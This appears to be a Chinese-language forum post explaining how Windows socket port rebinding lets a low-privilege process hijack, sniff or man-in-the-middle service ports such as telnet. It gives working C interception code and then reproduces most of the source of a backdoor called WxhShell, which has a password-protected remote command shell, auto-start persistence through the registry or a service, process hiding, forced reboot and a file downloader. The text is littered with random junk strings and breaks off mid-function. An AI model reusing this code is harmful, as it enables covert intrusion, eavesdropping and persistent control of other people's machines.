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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #M<u^$Jz  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2=$ F*B>9  
)h1 `?q:5  
  saddr.sin_family = AF_INET; (zw.?ADPCT  
;ZTh(_7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); XsX];I{E,  
'y7<!uo?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); S2?)Sb`  
]W7&ZpF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Si68_]:^  
at(gem  
  这意味着什么?意味着可以进行如下的攻击: ([]\7}+8  
gB0Q0d3\G,  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D0yH2[j+  
T#a6X;9P  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !L)yI#i4C  
`+(4t4@ew  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 EUS^Gtc  
,irc=0M(  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W=4|ahk$  
Lbu,VX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Vk%W4P"l  
zKGr(9I  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |sBL(9  
-v=tM6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ZVz*1]}  
/Q'O]h0a  
  #include W3&~[DS@~  
  #include Ox6^=D "  
  #include ,.V=y%  
  #include    i}>} %l|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   XlJ+:st  
  int main() 5D>cbzP@  
  { ~e=KBYDBu  
  WORD wVersionRequested; S9 @*g3  
  DWORD ret; gXB&Sgjo  
  WSADATA wsaData; yn04[PN2  
  BOOL val; jR{t=da  
  SOCKADDR_IN saddr; ;V^I>-fnm  
  SOCKADDR_IN scaddr; 2G$-:4B  
  int err; fa,;Sw  
  SOCKET s; ~TjTd  
  SOCKET sc; c}w[ T  
  int caddsize; r]&&*:  
  HANDLE mt; <n0j'P>1  
  DWORD tid;   BXr._y, cr  
  wVersionRequested = MAKEWORD( 2, 2 ); n;k B_i*l  
  err = WSAStartup( wVersionRequested, &wsaData ); I bE Nq  
  if ( err != 0 ) { w^/"j_p@  
  printf("error!WSAStartup failed!\n"); ;h#CT#R2  
  return -1; $'bb)@_  
  } M B,Z4 ^  
  saddr.sin_family = AF_INET; 94.M 8  
   z_a7HCG2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i>;6Z s>S  
_RX*Ps=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D66!C{  
  saddr.sin_port = htons(23); =A; 79@bY  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) j4h?"  
  { ; .hTfxE0  
  printf("error!socket failed!\n"); ]v.Yt/&C{  
  return -1; /!-ypIY  
  } sE0,b  
  val = TRUE; O9Yk5b;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ? \NT'CG  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) E9j(%kQ2  
  { eb<' >a  
  printf("error!setsockopt failed!\n"); g= s2t"&  
  return -1; X($@E!|  
  } ,@t#)HV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (ce"ED`1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =[o/D0-Kn  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 0*o=JM]  
G[!<mh4h|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a0Q\]S  
  { %`:+A?zL  
  ret=GetLastError(); KQ.cd]6  
  printf("error!bind failed!\n"); IO?6F@(  
  return -1; U6 H@l#  
  } hj[sxC>z5  
  listen(s,2); Xj21:IMR  
  while(1) @m"P_1`*  
  { r5&?-G  
  caddsize = sizeof(scaddr); J+*n}He,  
  //接受连接请求 Fi"TY^-E;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); VB{G% !}  
  if(sc!=INVALID_SOCKET)  Fr9_!f  
  { =eG:Scoug?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); el,n5O Z7  
  if(mt==NULL) [ ]=}0l<J  
  { U &y?3  
  printf("Thread Creat Failed!\n"); sB`zk[ R;  
  break; fh e%5#3  
  } YR$d\,#R  
  } ">S.~'ds  
  CloseHandle(mt); U6oab9C?k  
  } E)F"!56lV  
  closesocket(s); xiQ;lE   
  WSACleanup(); tNCKL. yU  
  return 0; i- r y5x  
  }   x<{)xP+|  
  DWORD WINAPI ClientThread(LPVOID lpParam) `d:cq.OO  
  { w~VqdB  
  SOCKET ss = (SOCKET)lpParam; r$-]NYPi  
  SOCKET sc; vm"dE4W=  
  unsigned char buf[4096]; F% K}&3  
  SOCKADDR_IN saddr; *5;#+%A  
  long num; WK6|e[iP  
  DWORD val; JKs&!!  
  DWORD ret; '>r"+X^W  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M \3Zj(E/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   TzK[:o  
  saddr.sin_family = AF_INET; h`/1JjP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); woR }=\K  
  saddr.sin_port = htons(23); T13Jno  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .R {P%r  
  { >zB0+l  
  printf("error!socket failed!\n"); I?i,21:5  
  return -1; JV9Ft,xk  
  } X.!|#FWb+  
  val = 100; !Ql&Ls  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z c, Q  
  { 6B>H75S+H  
  ret = GetLastError(); /h73'"SpDy  
  return -1; JD$;6Jv3P  
  } W=T,hOyh<W  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QOY M/1U  
  { 8&9'1X5)8_  
  ret = GetLastError(); w97B)Kn6  
  return -1; 7 {#^ zr  
  } Tof H =d  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) NI?YUhg>  
  { p=8?hI/bim  
  printf("error!socket connect failed!\n"); $WK~|+"{>  
  closesocket(sc); ~gvw6e*[  
  closesocket(ss); z8hAZ?r1`  
  return -1; :HG5{zP  
  } mmrz:_  
  while(1) >vY5%%}  
  { :u>9H{a  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \d{S3\7  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Lj03Mx.2S  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Vt D:'L-  
  num = recv(ss,buf,4096,0); `.a~G y  
  if(num>0) H:M;H =0  
  send(sc,buf,num,0); xu7Q^F#u  
  else if(num==0) \Lu] %}  
  break; tB7g.)yZb  
  num = recv(sc,buf,4096,0); C!}9[X!7@:  
  if(num>0) u|]`gsFZ\  
  send(ss,buf,num,0); 'w5g s}1D  
  else if(num==0) }H<87zH  
  break; eC41PQ3=1'  
  } +=A53V[C  
  closesocket(ss); |*WE@L5  
  closesocket(sc); IQ"9#{o  
  return 0 ; x>=8~wIK  
  } gnN"pa!&~  
s4{WPU9  
_lj&}>l  
========================================================== :Pf2oQ  
l TRQ/B  
下边附上一个代码,,WXhSHELL Zm!5X9^!  
:=K <2  
========================================================== byUstm6y  
B)4>:j:{?W  
#include "stdafx.h" VaRP+J}UA.  
N/&t) 7  
#include <stdio.h> Zl+Ba   
#include <string.h> {Jj vF  
#include <windows.h>  G(1y_t  
#include <winsock2.h> |SF5'\d'  
#include <winsvc.h> dLn Md0  
#include <urlmon.h> 9!sR}  
O}IRM|r"  
#pragma comment (lib, "Ws2_32.lib") V,CVMbn/%N  
#pragma comment (lib, "urlmon.lib") Lk~aM bw#  
}\Mmp+<  
#define MAX_USER   100 // 最大客户端连接数 b)Px  
#define BUF_SOCK   200 // sock buffer oCftI':@  
#define KEY_BUFF   255 // 输入 buffer I2PFJXp_]n  
S*-/#j  
#define REBOOT     0   // 重启 hO@VYO   
#define SHUTDOWN   1   // 关机 +kK6G#c  
A(Ss:7({  
#define DEF_PORT   5000 // 监听端口 I6E!$ }  
!DUC#)F  
#define REG_LEN     16   // 注册表键长度 evBr{oi@  
#define SVC_LEN     80   // NT服务名长度 z;VabOr^  
oj1,DU  
// 从dll定义API P@z,[,sy"$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]TmxCTVL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !:^lTvYWZH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); z3:tSjF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  e ):rr*  
(\M&Q-xZ  
// wxhshell配置信息 CgO&z<A!&  
struct WSCFG { ~Z#jIG<?g  
  int ws_port;         // 监听端口 g/ict 2!  
  char ws_passstr[REG_LEN]; // 口令 9cm9;  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5#v|t\ {  
  char ws_regname[REG_LEN]; // 注册表键名 +/E yX =  
  char ws_svcname[REG_LEN]; // 服务名 dNL<O   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xiW;Y{kZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .oNs8._:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d]*a:>58  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h NCoX*icd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A#6\5u  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "me a*-XB  
f2"1^M  
}; tM$w0Cj  
(7qdrAeP  
// default Wxhshell configuration #K3`$^0 s  
struct WSCFG wscfg={DEF_PORT, {yPiBu  
    "xuhuanlingzhe", /=bg(?nX  
    1, f2y:K6$'l*  
    "Wxhshell", xC,;IS k,  
    "Wxhshell", U<*8KiI  
            "WxhShell Service", 0ThX1)SH  
    "Wrsky Windows CmdShell Service", e5 ?;{H  
    "Please Input Your Password: ", TEK]$%2  
  1, eaxp(VX?oy  
  "http://www.wrsky.com/wxhshell.exe", [*k25N  
  "Wxhshell.exe" NJ;D Qv  
    }; u`]J]gE  
_K?{DnTb  
// 消息定义模块 2/c^3[ccR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oe8sixZ[  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2yyJ19Iul  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^U`Bj*"2  
char *msg_ws_ext="\n\rExit."; [;F%6MPK^  
char *msg_ws_end="\n\rQuit."; -W:te7  
char *msg_ws_boot="\n\rReboot..."; n!B*n(;!u  
char *msg_ws_poff="\n\rShutdown..."; H^c8r^#  
char *msg_ws_down="\n\rSave to "; AMhHq/Dw  
m*d {pX  
char *msg_ws_err="\n\rErr!"; !Deg!f\g  
char *msg_ws_ok="\n\rOK!"; }op0`-Xb  
yR Zb_Mq9U  
char ExeFile[MAX_PATH]; tC,R^${#  
int nUser = 0; 5IPZ;  
HANDLE handles[MAX_USER]; !Cpy )D(  
int OsIsNt; vThK@P!s  
O7_u9lz2  
SERVICE_STATUS       serviceStatus; x dT1jI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >2[\WF*"X  
/@<&{_sybp  
// 函数声明 'w8k*@cQ  
int Install(void); XRMYR97  
int Uninstall(void); FKOTv2  
int DownloadFile(char *sURL, SOCKET wsh); csPziH$wl  
int Boot(int flag); nYcj6?  
void HideProc(void); h}k/okG  
int GetOsVer(void); Me HlxI  
int Wxhshell(SOCKET wsl); VoOh$&"M  
void TalkWithClient(void *cs); \!erP!$x .  
int CmdShell(SOCKET sock); KL8G2"Z  
int StartFromService(void); 2k}" 52  
int StartWxhshell(LPSTR lpCmdLine); Wy[Ua#Dd  
)e$}sw{t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3:XF7T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7ktSj}7W]  
W?n)IBj8  
// 数据结构和表定义 .@  3  
SERVICE_TABLE_ENTRY DispatchTable[] = tf VK  
{ JFyw,p&xB  
{wscfg.ws_svcname, NTServiceMain}, {*Ag[HS0u  
{NULL, NULL} }W:Rg}v  
}; H+oQ L(i|_  
^*{:;F@  
// 自我安装 1gA9h-'w  
int Install(void) Qd %U(|  
{ V6:S<A  
  char svExeFile[MAX_PATH]; ,-11w7y\  
  HKEY key; J 8z|ua  
  strcpy(svExeFile,ExeFile); "h-G=vo,kl  
[f^:V:) {  
// 如果是win9x系统,修改注册表设为自启动 T=EHue$  
if(!OsIsNt) { `Dck$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fL #e4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |# _F  
  RegCloseKey(key); 'UYxVh9D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U.fL uKt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5 (Lw-_y#  
  RegCloseKey(key); E^)>9f7  
  return 0; JH4hy9i  
    } {<~oa+"  
  } $S_xrrE#  
} \; 9log<Z  
else { ,eI2#6w|C  
m44"qp  
// 如果是NT以上系统,安装为系统服务 XB8g5AxR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V__|NVoOm  
if (schSCManager!=0) C#^V<:9  
{ \F$Vm'f_  
  SC_HANDLE schService = CreateService MY8[)<q"  
  ( <6 HrHw_  
  schSCManager, KI@OEy  
  wscfg.ws_svcname, 'F\@KE -d  
  wscfg.ws_svcdisp, 5Iql%~_x  
  SERVICE_ALL_ACCESS, m a!rZ n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9h Jlc  
  SERVICE_AUTO_START, I`$"6 Xy  
  SERVICE_ERROR_NORMAL, ma +iIt;  
  svExeFile, Y<4%4>a  
  NULL, -x~4@~  
  NULL, X]Aobtz  
  NULL, N)kZ2|oD  
  NULL, kB2]Z}   
  NULL 0tL#-47  
  ); 9BZyCz  
  if (schService!=0) 5^,"Ve|  
  { +N|}6e  
  CloseServiceHandle(schService); )p$a1\ ~m  
  CloseServiceHandle(schSCManager); I@$cw3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \E(Negt7  
  strcat(svExeFile,wscfg.ws_svcname); ` XvuyH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;p/%)WW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $s2Y,0>I6  
  RegCloseKey(key); MO_-7,.y  
  return 0; qG]G0|f  
    } $ ?HOke  
  } n A<#A  
  CloseServiceHandle(schSCManager); F}f/cG<X  
} jkVX>*.|oy  
} K&Sz8# +  
_Q**4  
return 1; q =\3jd  
} &>@  
hT=6XO od4  
// 自我卸载 Jq5](F!z  
int Uninstall(void) K P1;u#v  
{ T3_3k. ,|  
  HKEY key; sp-){k  
ujLz<5gKuO  
if(!OsIsNt) { 7f$ hg8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U.$7=Zl8t  
  RegDeleteValue(key,wscfg.ws_regname); m0}1P]dc  
  RegCloseKey(key); 0qCx.<"p8#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?2q;`Nb  
  RegDeleteValue(key,wscfg.ws_regname); PnUYL.v  
  RegCloseKey(key); }akF=/M  
  return 0; aqw;T\GI+~  
  }  )S8fFV  
} pV^(8!+  
} &OM e'P  
else { ]8m_+:`=  
6T qs6*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;Y^.SR"  
if (schSCManager!=0) ;VS\'#{e  
{ h1(GzL%i_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +o4W8f=Ga  
  if (schService!=0) !wU~;sL8C3  
  { \#hp,XV>  
  if(DeleteService(schService)!=0) { )B!64'|M  
  CloseServiceHandle(schService); F?!X<N{  
  CloseServiceHandle(schSCManager); gG,"wzj  
  return 0; ndXUR4  
  } % >mB"Y,  
  CloseServiceHandle(schService); [PhT zXt  
  } 8fH. E  
  CloseServiceHandle(schSCManager); =o+js;3  
} -~|E(ys  
} Ec/-f `8  
mu>L9Z~(L_  
return 1; i?+>,r@\p  
} A*a:#'"*N  
Z8vR/  
// 从指定url下载文件 J;|i6q q  
int DownloadFile(char *sURL, SOCKET wsh) s?,\aSsU@  
{ a3Fe42G2c|  
  HRESULT hr; ssx #\  
char seps[]= "/"; 0sR+@\  
char *token; pR,eus;8  
char *file; D-S"?aO-  
char myURL[MAX_PATH]; 79bt%P  
char myFILE[MAX_PATH]; !8Mi+ZV  
9R1S20O  
strcpy(myURL,sURL); V49[XX  
  token=strtok(myURL,seps); p(8[n^~,i  
  while(token!=NULL) 6a%dq"5 +  
  { FRR`<do5$,  
    file=token; { ML)F]]  
  token=strtok(NULL,seps); \G~<O071  
  } fJdTVs@  
3m]8>1e1"  
GetCurrentDirectory(MAX_PATH,myFILE); 6$y$ VeW  
strcat(myFILE, "\\"); q(n PI  
strcat(myFILE, file); l.Yq4qW  
  send(wsh,myFILE,strlen(myFILE),0); C"[d bh!  
send(wsh,"...",3,0); ]T<\d-!CZN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t91z<Y|  
  if(hr==S_OK) 5_yu4{@;y  
return 0; Z< 4Du  
else #FwTV@  
return 1; h)o5j-M>4  
9N*!C{VW  
} -h`[w:  
+)06*"I  
// 系统电源模块 ./r#\X)dc  
int Boot(int flag) 8IQqDEY^  
{ /f Ui2[y  
  HANDLE hToken; SbX#$; ks~  
  TOKEN_PRIVILEGES tkp; ^dP]3D1 @  
4^u wZ:  
  if(OsIsNt) { 6qYK"^+xu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1m\ihU  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L_(Y[!  
    tkp.PrivilegeCount = 1; |3K]>Lio  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J*zm*~8\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |k [hk  
if(flag==REBOOT) { 1!"iN~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _2 Hehw  
  return 0; YX,xC-37y  
} pY"&=I79tb  
else { &3~_9+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zYZ^/7)  
  return 0; A` )A=L  
} eZ`x[g%1  
  } qQ^ bUpk0  
  else { FS^ie|8{D-  
if(flag==REBOOT) { )>+J`NFa  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *{1]b_<  
  return 0; Cu-z`.#}R  
} ^>/] Qi  
else { o7^u@*"F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Hr}pO"%  
  return 0; *;!p#qL  
} c[zaYcbl  
} t}m"rMbt  
@S#Ls="G  
return 1; i0py5Q  
} ~H\1dCW  
#Ab,h#f*7  
// win9x进程隐藏模块 C[2LP$6*/  
void HideProc(void) 1yT\|2ARZ%  
{ G W~ZmK  
s& Lyg>>`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w7"&\8a  
  if ( hKernel != NULL ) $geDB~ 2>  
  { Q~#[_Upkc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2y` :#e`x1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); je`w$ ^w  
    FreeLibrary(hKernel); FF'Ul 4y  
  } Q2jl61d_9  
.~Y% AI  
return; r;'Vy0?AL  
} 1Uf8ef1,  
m>8tA+K)+)  
// 获取操作系统版本 .N~YVul[a*  
int GetOsVer(void) 6SVh6o@]  
{ { cMf_qQ  
  OSVERSIONINFO winfo; Ua\<oD79]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }&qr"z4  
  GetVersionEx(&winfo); 0OF]|hH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y1*z," dx  
  return 1; GkYD:o=qx  
  else `bMwt?[*  
  return 0; Q ~>="Yiu  
} T*v@hbJ  
b _%W*Q  
// 客户端句柄模块 u .R   
int Wxhshell(SOCKET wsl) p({)ZU3  
{ y - Ge"mY  
  SOCKET wsh; _;8+L\  
  struct sockaddr_in client; O$$$1VHYo  
  DWORD myID; yE>f.|(  
$,DX^I%!  
  while(nUser<MAX_USER) [&H?--I  
{ +E8}5pDt  
  int nSize=sizeof(client);  OYwH$5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ns;nle|m  
  if(wsh==INVALID_SOCKET) return 1; >^(Q4eU7!  
3E`poE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q@8j[15  
if(handles[nUser]==0) Yt#e[CYnu  
  closesocket(wsh); ," ~4l&  
else !Q" 3B6 86  
  nUser++; MsLQ'9%Au  
  } wML5T+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); UCDvN  
u[yUUYe  
  return 0; ZW>?y$C+  
} {H$m1=S  
BBUXoz  
// 关闭 socket "F8A:tR  
void CloseIt(SOCKET wsh) 8"2X 8C8  
{ aVbv.>  
closesocket(wsh); 9_5tA'Q  
nUser--; eq(Xzh  
ExitThread(0); =h/0k y  
} }2i3  
N,Ys}qP  
// 客户端请求句柄 {nl4(2$  
void TalkWithClient(void *cs) =`y.L5  
{ RBM(>lU:  
L?~-<k  
  SOCKET wsh=(SOCKET)cs; ^"hsbk&Yu  
  char pwd[SVC_LEN]; ^d[ s*,i?  
  char cmd[KEY_BUFF]; p@x1B &Z  
char chr[1]; 6D n[9V  
int i,j; +(9qAB7  
KtY_m`DY4R  
  while (nUser < MAX_USER) { ecl$z6'c  
ee5QZ,  
if(wscfg.ws_passstr) { 8`j;v>2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l: X]$2;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u%`4;|tI  
  //ZeroMemory(pwd,KEY_BUFF); 8E9W\@\  
      i=0; M.QXwIT  
  while(i<SVC_LEN) { _O*"_^6  
JkMf+ !  
  // 设置超时 Mk"V%)1k  
  fd_set FdRead; zZ\2fKrpg  
  struct timeval TimeOut; A! j4;=}  
  FD_ZERO(&FdRead); g6=w MRt[  
  FD_SET(wsh,&FdRead); q<` g  
  TimeOut.tv_sec=8; <^,5z!z }  
  TimeOut.tv_usec=0; I];Hx'/<~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -A A='s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Axtf,x+lH  
R9B!F{! 5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3"OD"  
  pwd=chr[0]; q>X%MN y  
  if(chr[0]==0xd || chr[0]==0xa) { bWAVBF  
  pwd=0; u  teI[Q  
  break; wt@q+9:  
  } XCTee  
  i++; I!;&#LT+b  
    } B{0m0-l  
RO1xcCp  
  // 如果是非法用户,关闭 socket (!0=~x|Z[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5$ra4+k0  
} SmJ6Fm6  
D; 0iNcit  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a ykNH>#Po  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m+J3t @$  
M6+_Mi.  
while(1) { h) . ([  
u\-f\Z7  
  ZeroMemory(cmd,KEY_BUFF); B3V=;zn3  
tE: m& ;I  
      // 自动支持客户端 telnet标准   f9Hm2wV  
  j=0; @pKQ}?  
  while(j<KEY_BUFF) { XNU[\I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v!pT!(h4  
  cmd[j]=chr[0]; p^U:O&U(  
  if(chr[0]==0xa || chr[0]==0xd) { TCd1JF0  
  cmd[j]=0; N?'V,p 0=  
  break; ~X/1%  
  } Z ?{;|Z5  
  j++; B0^0d*8t|@  
    } B0KZdBRx}  
7xOrG],E  
  // 下载文件 'RlPj 0Cg  
  if(strstr(cmd,"http://")) { JKkR963 O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jI8qiZ);~  
  if(DownloadFile(cmd,wsh)) yBPaGZ{f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lF\oEMd*  
  else C>qKKLZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +##b}?S%  
  } .cQ<F4)!tu  
  else { [Pu~kiN  
)bqfj>%#c  
    switch(cmd[0]) { 2B# ]z  
  ,4-)  e  
  // 帮助 C#< :x!  
  case '?': { XZv(B^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~7W?W<  
    break; IQS:tL/  
  } N%A[}Y0;MW  
  // 安装 \V|\u=@H  
  case 'i': { _d'x6$Jg  
    if(Install()) .]qj];m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $f-f0t'  
    else B?nQUIb:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L>Y>b4oy3  
    break; %r0yBK2uOp  
    } _91g=pM   
  // 卸载 8xQ5[Ov  
  case 'r': { <|M cE  
    if(Uninstall()) 0@yHT-Dy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `5:Wv b>|  
    else /3! KfG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $T\z  
    break; @N,EoSb :  
    } $#g1Mx{  
  // 显示 wxhshell 所在路径 <|NP!eMsw8  
  case 'p': { 4ey m$UWw  
    char svExeFile[MAX_PATH]; ?q(7avS9  
    strcpy(svExeFile,"\n\r"); BpL,<r,  
      strcat(svExeFile,ExeFile); ,c@^u6a  
        send(wsh,svExeFile,strlen(svExeFile),0); XHgwK @GU  
    break; y#:_K(A" k  
    } :h tOz.  
  // 重启 P"J(O<(1-:  
  case 'b': { 'b#`8k~>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ysV0Ed  
    if(Boot(REBOOT)) O!}TZfC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (bxSN@hp2  
    else { /2K4ka<?7  
    closesocket(wsh); =h?WT*  
    ExitThread(0); 6 s{~9  
    } U5]{`C0H?  
    break; :=BFx"Y  
    } Wc4F'}s  
  // 关机 ErK5iTSD  
  case 'd': { TC80nP   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /vi>@a  
